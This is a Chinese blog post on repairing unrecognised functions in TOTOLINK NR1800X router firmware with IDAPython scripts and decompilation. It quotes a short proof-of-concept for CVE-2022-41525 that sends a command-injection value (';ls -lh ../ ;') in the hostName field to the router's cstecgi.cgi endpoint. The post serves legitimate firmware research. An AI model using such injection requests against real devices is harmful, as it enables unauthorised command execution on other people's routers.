美文网首页
修复totolink固件在IDA中函数识别失败的问题

修复totolink固件在IDA中函数识别失败的问题

作者: doinb1517 | 来源:发表于2023-01-08 15:26 被阅读0次

前言

最近在学习totolink的固件,但是这些固件在IDA中识别有问题,很多字符串和函数在IDA中都识别不到,需要我们借助IDAPython来修复不识别的函数。

实现

我这次采用的示例固件是 nr1800x,此固件存在以下的漏洞


image.png

固件版本:V9.1.0u.6279_B20210910
link:https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html

image.png
导入IDA中后发现很多.text段的函数无法识别,颜色是红色的
image.png

以CVE-2022-41525的poc为例,漏洞点在函数setOpModeCfg,在topicurl字段中的就是函数名称

import requestsurl = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi"cookie = {"Cookie":"uid=1234"}data = {'topicurl' : "setOpModeCfg","proto" : "8","switchOpMode" : "1","hostName" : "';ls -lh ../ ;'"}response = requests.post(url, cookies=cookie, json=data)print(response.text)print(response)

在固件的main函数中可以看到如下逻辑


image.png

从44B040处开始遍历,该地址加0x44字节后是下一个函数的地址


image.png
这个地址上是存着一个函数地址,即函数sub_42C25C
image.png

44B040地址加4字节是下一个函数的名称,44B040加44字节是位置上保存的是下一个函数的地址


image.png
之后的结构就都是类似的。我们知道这个规则后就可以写ida脚本获取函数名和地址的对应关系
这里用到的ida函数如下
首先0x44B000位置上的字符串为setLanguageCfg,对应的函数在+40字节的位置,即0x44B040,获取该地址的dword为0x42cd48
# 获取该地址的dword
idc.get_wide_dword(ea)

Python>get_wide_dword(0x44B040)
0x42cd48

如果函数0x42cd48不存在,我们用以下的函数可以生成函数

idaapi.add_func(0x42cd48)

更进一步我们可以根据函数名和函数的映射关系重命名函数

Python>set_name(0x428c84, "setWizardCfg_428c84", SN_CHECK)
True
Caching 'Functions'... ok

然后我们还可以导出反编译的函数,自动化的搞些分析

Python>idaapi.decompile(0x428c84)
int __fastcall setWizardCfg_428c84(int a1)
{
  int Var; // $v0
  unsigned int v3; // $fp
  int v4; // $v0
  int v5; // $v0
  int v6; // $s3
  int v7; // $s4
  int v8; // $s5
  int v9; // $s6
  int v10; // $s7
  int v11; // $s1
  int v12; // $s1
  int v13; // $s3
  int v14; // $s4
  int v15; // $s2
  int v16; // $s5
  int v17; // $s1
  int v18; // $s5
  int v19; // $s6
  int v20; // $s7
  int v21; // $v0
  int v22; // $s3
  int v23; // $s4
  int v24; // $s1
  int v25; // $v0
  int v26; // $v0
  int v27; // $v0
  int v28; // $s2
  int v29; // $a0
  int v30; // $s5
  int v31; // $s6
  int v32; // $s7
  int v33; // $v0
  int v34; // $s3
  int v35; // $s4
  int v36; // $s1
  int v37; // $v0
  int v38; // $s2
  int v39; // $s2
  int v40; // $s1
  int v41; // $s5
  int v42; // $s6
  int v43; // $s7
  int v44; // $s4
  int v45; // $s3
  int v46; // $s1
  int v47; // $v0
  int v48; // $s5
  int v49; // $s6
  int v50; // $v0
  int v51; // $s3
  int v52; // $v0
  int v53; // $v0
  int v54; // $s7
  int v55; // $v0
  int v56; // $v0
  _BYTE *v57; // $s2
  int v58; // $a0
  int v59; // $s1
  int v60; // $v0
  int v61; // $s3
  int v62; // $s4
  _BYTE *v63; // $s6
  int v64; // $v0
  int v65; // $s5
  int v66; // $v0
  int v67; // $v0
  int v68; // $s7
  int v69; // $v0
  int v70; // $v0
  int v71; // $s1
  int v72; // $v0
  int v74; // $v0
  int v75[3]; // [sp+18h] [-138h] BYREF
  char v76; // [sp+24h] [-12Ch]
  char v77[128]; // [sp+28h] [-128h] BYREF
  char v78[128]; // [sp+A8h] [-A8h] BYREF
  int v79; // [sp+128h] [-28h]
  int v80; // [sp+12Ch] [-24h]
  int v81; // [sp+130h] [-20h]
  _BYTE *v82; // [sp+134h] [-1Ch]
  int v83; // [sp+138h] [-18h]
  int v84; // [sp+13Ch] [-14h]
  int v85; // [sp+140h] [-10h]
  int v86; // [sp+144h] [-Ch]
  int v87; // [sp+148h] [-8h]
  int v88; // [sp+14Ch] [-4h]

  memset(v75, 0, sizeof(v75));
  v76 = 0;
  memset(v77, 0, sizeof(v77));
  memset(v78, 0, sizeof(v78));
  Var = websGetVar(a1, "tz", "UTC-8");
  nvram_set("time_zone", Var);
  v82 = (_BYTE *)websGetVar(a1, "loginpass", "");
  if ( *v82 && !Validity_check(v82) )
    nvram_set("http_passwd", v82);
  v3 = sub_4217D0(a1);
  if ( v3 < 2 )
  {
    v4 = websGetVar(a1, "proto", &word_4370EC);
    v5 = atoi(v4);
    switch ( v5 )
    {
      case 0:
        v6 = websGetVar(a1, "staticIp", "");
        v7 = websGetVar(a1, "staticMask", &word_4370EC);
        v8 = websGetVar(a1, "staticGw", "");
        v9 = websGetVar(a1, "staticMtu", "1500");
        v10 = websGetVar(a1, "priDns", "");
        v11 = websGetVar(a1, "secDns", "");
        nvram_set(&unk_435EBC, "static");
        nvram_set("wan_dnsenable_x", &word_4370EC);
        nvram_set("wan_ipaddr", v6);
        nvram_set("wan_netmask", v7);
        nvram_set("wan_gateway", v8);
        nvram_set("wan_mtu", v9);
        nvram_set("wan_dns1_x", v10);
        nvram_set("wan_dns2_x", v11);
LABEL_24:
        v29 = a1;
LABEL_25:
        v39 = websGetVar(v29, "cloneMac", "");
        v40 = websGetVar(a1, "clone", &word_4370EC);
        nvram_set("wan_clone_en", v40);
        if ( atoi(v40) )
        {
          mac_del_split(v39, v75);
          nvram_set("wan_hwaddr_x", v75);
        }
        else
        {
          nvram_set("wan_hwaddr_x", "");
        }
        goto LABEL_28;
      case 1:
        v12 = websGetVar(a1, "dhcpMtu", "1500");
        nvram_set(&unk_435EBC, "dhcp");
        nvram_set("wan_dnsenable_x", "1");
        nvram_set("wan_mtu", v12);
        goto LABEL_24;
      case 3:
        v13 = websGetVar(a1, "pppoeUser", "");
        v14 = websGetVar(a1, "pppoePass", "");
        v15 = websGetVar(a1, "pppoeMtu", "1492");
        v16 = websGetVar(a1, "pppoeServiceName", "");
        v17 = websGetVar(a1, "pppoeAcName", "");
        nvram_set(&unk_435EBC, "pppoe");
        nvram_set("wan_dnsenable_x", "1");
        nvram_set("wan_pppoe_mtu", v15);
        nvram_set("wan_pppoe_username", v13);
        nvram_set("wan_pppoe_passwd", v14);
        nvram_set("wan_pppoe_service", v16);
        nvram_set("wan_pppoe_ac", v17);
        goto LABEL_24;
      case 4:
        v18 = websGetVar(a1, "pptpIp", "");
        v19 = websGetVar(a1, "pptpMask", "");
        v20 = websGetVar(a1, "pptpGw", "");
        v84 = websGetVar(a1, "priDns", "");
        v83 = websGetVar(a1, "secDns", "");
        v86 = websGetVar(a1, "pptpServerIp", "");
        v21 = websGetVar(a1, "pptpDomainFlag", &word_4370EC);
        v81 = atoi(v21);
        v85 = websGetVar(a1, "pptpServerDomain", "");
        v22 = websGetVar(a1, "pptpUser", "");
        v23 = websGetVar(a1, "pptpPass", "");
        v24 = websGetVar(a1, "pptpMtu", "1460");
        v25 = websGetVar(a1, "pptpMppe", &word_4370EC);
        v80 = atoi(v25);
        v26 = websGetVar(a1, "pptpMppc", &word_4370EC);
        v79 = atoi(v26);
        v27 = websGetVar(a1, "pptpMode", &word_4370EC);
        v28 = atoi(v27);
        nvram_set(&unk_435EBC, "pptp");
        nvram_set("wan_pptp_mtu", v24);
        nvram_set("wan_pppoe_username", v22);
        nvram_set("wan_pppoe_passwd", v23);
        nvram_set("wan_ipaddr", v18);
        nvram_set("wan_netmask", v19);
        nvram_set("wan_gateway", v20);
        nvram_set("wan_dns1_x", v84);
        nvram_set("wan_dns2_x", v83);
        if ( v81 )
          nvram_set("wan_ppp_peer", v85);
        else
          nvram_set("wan_ppp_peer", v86);
        nvram_set_int("wan_ppp_mppe", v80);
        nvram_set_int("wan_ppp_mppc", v79);
        if ( !v28 )
        {
LABEL_16:
          nvram_set("x_DHCPClient", "1");
          nvram_set("wan_dnsenable_x", "1");
          goto LABEL_24;
        }
        break;
      default:
        v29 = a1;
        if ( v5 != 6 )
          goto LABEL_25;
        v30 = websGetVar(a1, "l2tpIp", "");
        v31 = websGetVar(a1, "l2tpMask", "");
        v32 = websGetVar(a1, "l2tpGw", "");
        v81 = websGetVar(a1, "priDns", "");
        v80 = websGetVar(a1, "secDns", "");
        v33 = websGetVar(a1, "l2tpDomainFlag", &word_4370EC);
        v79 = atoi(v33);
        v84 = websGetVar(a1, "l2tpServerIp", "");
        v83 = websGetVar(a1, "l2tpServerDomain", "");
        v34 = websGetVar(a1, "l2tpUser", "");
        v35 = websGetVar(a1, "l2tpPass", "");
        v36 = websGetVar(a1, "l2tpMtu", "1460");
        v37 = websGetVar(a1, "l2tpMode", &word_4370EC);
        v38 = atoi(v37);
        nvram_set(&unk_435EBC, "l2tp");
        nvram_set("wan_l2tp_mtu", v36);
        nvram_set("wan_pppoe_username", v34);
        nvram_set("wan_pppoe_passwd", v35);
        nvram_set("wan_ipaddr", v30);
        nvram_set("wan_netmask", v31);
        nvram_set("wan_gateway", v32);
        nvram_set("wan_dns1_x", v81);
        nvram_set("wan_dns2_x", v80);
        if ( v79 )
          nvram_set("wan_ppp_peer", v83);
        else
          nvram_set("wan_ppp_peer", v84);
        if ( !v38 )
          goto LABEL_16;
        break;
    }
    nvram_set("x_DHCPClient", &word_4370EC);
    nvram_set("wan_dnsenable_x", &word_4370EC);
    goto LABEL_24;
  }
LABEL_28:
  v41 = websGetVar(a1, "wanStrategy", &word_4370EC);
  v42 = websGetVar(a1, "vlanEnabled", &word_4370EC);
  v43 = websGetVar(a1, "vlanVidCpu", &word_4370EC);
  v44 = websGetVar(a1, "vlanPriCpu", &word_4370EC);
  v88 = websGetVar(a1, "vlanVidIptv", &word_4370EC);
  websGetVar(a1, "vlanPriIptv", &word_4370EC);
  v87 = websGetVar(a1, "vlanVidLan1", &word_4370EC);
  v86 = websGetVar(a1, "vlanPriLan1", &word_4370EC);
  v85 = websGetVar(a1, "vlanVidLan2", &word_4370EC);
  v84 = websGetVar(a1, "vlanPriLan2", &word_4370EC);
  v83 = websGetVar(a1, "vlanVidLan3", &word_4370EC);
  v81 = websGetVar(a1, "vlanPriLan3", &word_4370EC);
  v80 = websGetVar(a1, "vlanVidLan4", &word_4370EC);
  v79 = websGetVar(a1, "vlanPriLan4", &word_4370EC);
  v45 = websGetVar(a1, "iptvVer", &word_4370EC);
  v46 = websGetVar(a1, "iptvEnabled", 4419820);
  nvram_set("iptvEnabled", v46);
  if ( atoi(v46) )
  {
    nvram_set("iptvVer", v45);
    nvram_set("wan_stb_x", v41);
    nvram_set("vlan_filter", v42);
    nvram_set("vlan_vid_cpu", v43);
    nvram_set("vlan_pri_cpu", v44);
    nvram_set("vlan_vid_iptv", v88);
    nvram_set("vlan_pri_cpu", v44);
    nvram_set("vlan_vid_lan1", v87);
    nvram_set("vlan_pri_lan1", v86);
    nvram_set("vlan_vid_lan2", v85);
    nvram_set("vlan_pri_lan2", v84);
    nvram_set("vlan_vid_lan3", v83);
    nvram_set("vlan_pri_lan3", v81);
    nvram_set("vlan_vid_lan4", v80);
    nvram_set("vlan_pri_lan4", v79);
  }
  else
  {
    nvram_set("wan_stb_x", &word_4370EC);
    nvram_set("vlan_filter", &word_4370EC);
  }
  v47 = websGetVar(a1, "wifiOff", &word_4370EC);
  v48 = atoi(v47);
  v49 = websGetVar(a1, "ssid", "");
  websGetVar(a1, "key", "");
  websGetVar(a1, "hssid", &word_4370EC);
  v50 = websGetVar(a1, "hssid", &word_4370EC);
  v51 = atoi(v50);
  v52 = websGetVar(a1, "wpaMode", &word_4370EC);
  v79 = atoi(v52);
  v53 = websGetVar(a1, "encryptionWay", &word_4370EC);
  v54 = atoi(v53);
  v55 = websGetVar(a1, "encryptionType", &word_4370EC);
  v80 = atoi(v55);
  v56 = websGetVar(a1, "keyType", &word_4370EC);
  v81 = atoi(v56);
  v57 = (_BYTE *)websGetVar(a1, "key", "");
  nvram_set_int("rt_radio_x", v48 == 0);
  urldecode(v49, v77);
  nvram_set("rt_ssid", v77);
  nvram_set_int("rt_closed", v51);
  if ( nvram_get_int("wifi_wepwpa_support") == 1 )
  {
    nvram_wlan_set_int(0, "encryption_way", v54);
    if ( v54 )
    {
      if ( (unsigned int)(v54 - 1) >= 2 )
      {
        v58 = a1;
        if ( (unsigned int)(v54 - 3) >= 3 )
          goto LABEL_62;
        nvram_wlan_set(0, "key1", "");
        nvram_wlan_set(0, "auth_mode", "psk");
        switch ( v80 )
        {
          case 3:
            nvram_wlan_set(0, "crypto", "tkip");
            break;
          case 4:
            nvram_wlan_set(0, "crypto", "aes");
            break;
          case 5:
            nvram_wlan_set(0, "crypto", "tkip+aes");
            break;
        }
        nvram_wlan_set(0, "wep_x", &word_4370EC);
        nvram_wlan_set_int(0, "key_type", v81);
        switch ( v54 )
        {
          case 3:
            nvram_wlan_set(0, &unk_4363E8, "1");
            break;
          case 4:
            nvram_wlan_set(0, &unk_4363E8, &word_4366E0);
            break;
          case 5:
            nvram_wlan_set(0, &unk_4363E8, &word_4370EC);
            break;
        }
        nvram_wlan_set(0, "wpa_psk", v57);
      }
      else
      {
        nvram_wlan_set(0, "auth_mode", "open");
        if ( v80 == 1 )
        {
          nvram_wlan_set(0, "wep_x", "1");
        }
        else if ( v80 == 2 )
        {
          nvram_wlan_set(0, "wep_x", &word_4366E0);
        }
        nvram_wlan_set_int(0, "key_type", v81);
        nvram_wlan_set(0, "key", "1");
        nvram_wlan_set(0, "key1", v57);
        nvram_wlan_set(0, "crypto", "aes");
      }
    }
    else
    {
      nvram_wlan_set(0, "auth_mode", "open");
      nvram_wlan_set(0, "wep_x", &word_4370EC);
    }
  }
  else
  {
    nvram_set("rt_wpa_psk", v57);
    if ( *v57 )
    {
      nvram_set("rt_auth_mode", "psk");
      if ( v79 == 1 )
      {
        nvram_set("rt_wpa_mode", &word_4366E0);
        nvram_set("rt_guest_wpa_mode", &word_4366E0);
      }
      else
      {
        if ( v79 != 2 )
        {
          v58 = a1;
          goto LABEL_62;
        }
        nvram_set("rt_wpa_mode", "6");
        nvram_set("rt_guest_wpa_mode", "6");
      }
    }
    else
    {
      nvram_set("rt_auth_mode", "open");
      nvram_set("rt_wpa_mode", &word_4366E0);
      nvram_set("rt_guest_wpa_mode", &word_4366E0);
    }
  }
  v58 = a1;
LABEL_62:
  v59 = websGetVar(v58, "merge", &word_4370EC);
  nvram_set("wlan_merge_custom", v59);
  if ( atoi(v59) )
  {
    nvram_wlan_set_int(0, "band_steering", 1);
    nvram_wlan_set_int(1, "band_steering", 1);
  }
  else
  {
    nvram_wlan_set_int(0, "band_steering", 0);
    nvram_wlan_set_int(1, "band_steering", 0);
  }
  v60 = websGetVar(a1, "wifiOff5g", &word_4370EC);
  v61 = atoi(v60);
  v62 = websGetVar(a1, "ssid5g", "");
  v63 = (_BYTE *)websGetVar(a1, "key5g", "");
  v64 = websGetVar(a1, "hssid5g", &word_4370EC);
  v65 = atoi(v64);
  v66 = websGetVar(a1, "wpaMode5g", &word_4370EC);
  v79 = atoi(v66);
  v67 = websGetVar(a1, "encryptionWay_5g", &word_4370EC);
  v68 = atoi(v67);
  v69 = websGetVar(a1, "encryptionType_5g", &word_4370EC);
  v80 = atoi(v69);
  v70 = websGetVar(a1, "keyType_5g", &word_4370EC);
  v81 = atoi(v70);
  v71 = websGetVar(a1, "key_5g", "");
  nvram_set_int("wl_radio_x", v61 == 0);
  urldecode(v62, v78);
  nvram_set("wl_ssid", v78);
  nvram_set_int("wl_closed", v65);
  if ( nvram_get_int("wifi_wepwpa_support") == 1 )
  {
    nvram_wlan_set_int(1, "encryption_way", v68);
    if ( v68 )
    {
      if ( (unsigned int)(v68 - 1) >= 2 )
      {
        if ( (unsigned int)(v68 - 3) < 3 )
        {
          nvram_wlan_set(1, "auth_mode", "psk");
          switch ( v80 )
          {
            case 3:
              nvram_wlan_set(1, "crypto", "tkip");
              break;
            case 4:
              nvram_wlan_set(1, "crypto", "aes");
              break;
            case 5:
              nvram_wlan_set(1, "crypto", "tkip+aes");
              break;
          }
          nvram_wlan_set(1, "wep_x", &word_4370EC);
          nvram_wlan_set_int(1, "key_type", v81);
          switch ( v68 )
          {
            case 3:
              nvram_wlan_set(1, &unk_4363E8, "1");
              break;
            case 4:
              nvram_wlan_set(1, &unk_4363E8, &word_4366E0);
              break;
            case 5:
              nvram_wlan_set(1, &unk_4363E8, &word_4370EC);
              break;
          }
          nvram_wlan_set(1, "wpa_psk", v71);
        }
      }
      else
      {
        nvram_wlan_set(1, "auth_mode", "open");
        if ( v80 == 1 )
        {
          nvram_wlan_set(1, "wep_x", "1");
        }
        else if ( v80 == 2 )
        {
          nvram_wlan_set(1, "wep_x", &word_4366E0);
        }
        nvram_wlan_set_int(1, "key_type", v81);
        nvram_wlan_set(1, "key", "1");
        nvram_wlan_set(1, "key1", v71);
        nvram_wlan_set(1, "crypto", "aes");
      }
    }
    else
    {
      nvram_wlan_set(1, "auth_mode", "open");
      nvram_wlan_set(1, "wep_x", &word_4370EC);
    }
  }
  else
  {
    nvram_set("wl_wpa_psk", v63);
    if ( *v63 )
    {
      nvram_set("wl_auth_mode", "psk");
      if ( v79 == 1 )
      {
        nvram_set("wl_wpa_mode", &word_4366E0);
        nvram_set("wl_guest_wpa_mode", &word_4366E0);
      }
      else if ( v79 == 2 )
      {
        nvram_set("wl_wpa_mode", "6");
        nvram_set("wl_guest_wpa_mode", "6");
      }
    }
    else
    {
      nvram_set("wl_auth_mode", "open");
      nvram_set("wl_wpa_mode", &word_4366E0);
      nvram_set("wl_guest_wpa_mode", &word_4366E0);
    }
  }
  nvram_set("wizard_flag", &word_4370EC);
  nvram_commit();
  if ( v3 )
  {
    doSystem("lktos_reload reboot");
    v72 = nvram_safe_get("reboot_time");
    setResponse(v72, "reserv");
    return 1;
  }
  else
  {
    notify_rc("restart_iptv");
    notify_rc("restart_switch_config");
    notify_rc("restart_whole_lan");
    notify_rc("restart_firewall");
    notify_rc("restart_switch_vlan");
    notify_rc("restart_wifi_wl");
    notify_rc("restart_whole_wan");
    notify_rc(&unk_43813C);
    v74 = nvram_get("http_passwd");
    if ( strcmp(0, v74) )
    {
      if ( !Validity_check(v82) )
        doSystem("lktos_reload %s", "restart_httpd");
    }
    setResponse("30", "reserv");
    return 1;
  }
}

可以看到修复修复所有函数之后基本上不识别函数的问题解决了


image.png

还有两个函数没有识别,手动解决一下

相关文章

网友评论

      本文标题:修复totolink固件在IDA中函数识别失败的问题

      本文链接:https://www.haomeiwen.com/subject/qquucdtx.html